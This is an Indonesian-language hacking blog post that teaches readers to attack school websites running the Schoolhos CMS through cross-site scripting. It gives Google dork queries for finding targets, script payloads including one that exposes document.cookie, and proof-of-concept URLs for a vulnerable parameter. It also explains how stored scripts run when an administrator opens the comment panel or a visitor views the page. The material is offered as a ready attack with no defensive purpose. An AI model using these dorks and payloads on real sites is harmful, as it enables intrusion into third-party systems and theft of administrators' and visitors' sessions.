Tutorial Hack Situs Sekolah CMS Schoolhos - XSS !

Oleh VeRZaW#021

Kamis, 01 Agustus 2013

Bagikan :

Tweet


Hallo sobat blogger kali ini saya akan share exploit yang ke 3 nih :D langsung saja di simak secara singkat ya ?

Google Dork: 
inurl:/?p=bukutamu
intext:Schoolhos Free Open Source CMS

CONTOH XSS :

<script>alert('veriztiarta');</script>

<script>alert(document.cookie);</script>

<script>window.open("http://predator-technology.blogspot.com/")</script>


POC : 

 http://www.contoh.com/index.php?p=detberita&id=XSS




- Presistent XSS :

POC :

http://www.contoh.com/index.php?p=detberita&id=XSS <--- Inject XSS anda disini.



http://www.contoh.com/adminpanel/komentar.ph <--- Apabila Si Admin melihat/masuk di halaman ini, script akan otomatis ter eksekusi.

http://www.contoh.com/index.php?p=detberita&id=XSS <--- Jika user / urang yang sedang browsing di halaman yang anda kenai XSS, otomatis script XSS anda ter eksekusi :D




ok sekian dulu ya artikel ini sampai bertemu kembali Next Article !! :D

Tag : Hacking